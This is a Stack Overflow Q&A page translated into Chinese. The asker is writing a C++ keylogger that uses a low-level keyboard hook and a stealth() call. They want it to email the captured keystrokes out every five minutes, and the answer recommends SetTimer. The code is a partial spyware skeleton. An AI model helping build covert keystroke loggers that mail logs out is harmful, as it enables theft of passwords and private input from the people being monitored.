c++ - win32主循环间隔问题C++

标签 c++ winapi msg

我正在制作一个记录击键的键盘记录器(废话..)。现在,当我用 C++ 实现基本键盘记录程序时,我想向应用程序添加一个新功能:我希望它将日志邮寄到我的电子邮件中。到目前为止一切顺利,我发现这个开源电子邮件客户端非常适合我的需求。我遇到的唯一问题是让应用程序以 x 分钟的间隔发送日志。

int main(int argc, char *argv[])
{
    //stealth();
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
    if(hHook == NULL)
    {
        cout << "Hook failed" << endl;
    }

    MSG message;
    while(GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }

    return 0;
}

不知何故,我需要实现某种计数器,它在某些时候会使用函数send();。 有人知道如何修改 MSG 循环以每 5 分钟执行一次函数 send(); 吗?

最佳答案

看看SetTimer功能,我认为它完全满足您的需要。

在事件循环之前,您应该以所需的时间间隔调用此函数,并且必须向其传递一个回调函数。或者,您可以使用另一个函数 CreateTimerQueueTimer

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}

UINT timer = SetTimer(NULL, 0, 500, &TimerProc);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
    TranslateMessage(&message);
    DispatchMessage(&message);
}

KillTimer(NULL, timerId);

关于c++ - win32主循环间隔问题C++,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16480834/

相关文章:

QNX 消息接收脉冲

c++ - mOffsetMatrix 在 Assimp 中实际上做了什么?

c++ - 如何在对话框的客户区包含自定义图标?

c# - UWP 从 WPF 应用程序启动我的应用程序

email - .msg文件和.eml文件之间的区别

android - 有人可以向我解释如何在我的处理程序中使用 switch(msg.what){} 吗?

c++ - 将源代码与 C++ 程序的汇编列表相关联

c++ - OpenMP C++ - 如何并行化这个函数?

c++ - 纹理不会在 OpenGL 和 Xcode 上显示

windows - 在 Windows 中连接到命名管道,不同的用户帐户